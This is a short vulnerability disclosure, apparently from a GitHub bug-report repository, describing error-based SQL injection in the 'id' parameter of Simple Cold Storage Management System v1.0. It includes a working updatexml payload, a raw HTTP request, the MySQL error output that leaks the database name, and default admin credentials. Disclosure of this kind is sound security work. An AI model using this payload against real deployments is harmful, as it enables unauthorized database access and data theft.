

main

...

bug_report / vendors / oretnom23 / simple-cold-storage-management-system / SQLi-2.md



fateroot Create SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.18 KB

...

Simple Cold Storage Management System v1.0 by oretnom23 has SQL injection

BUG_Author: fate@root

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-using-phpoop-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /csms/admin/storages/view_storage.php?id=

Vulnerability location: /csms/admin/storages/view_storage.php?id=, id

dbname =csms_db,length=7

[+] Payload: /csms/admin/storages/view_storage.php?

id=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

```
GET /csms/admin/storages/view_storage.php?id=2%27%20and%20updatexml(1,concat(0x7e,(s
Host: 192.168.1.88
```

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=d8pesjl7i2jtmf2qddggbp7q0b
Connection: close

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL

Split URL

Execute

192.168.1.88/csms/admin/storages/view_storage.php?id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)---+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '-csms_db~' in C:\xampp\htdocs\csms\admin\storages\view_storage.php:4 Stack trace: #0 C:\xampp\htdocs\csms\admin\storages\view_storage.php(4): mysqli->query('SELECT * FROM `...'') #1 (main) thrown in C:\xampp\htdocs\csms\admin\storages\view_storage.php on line 4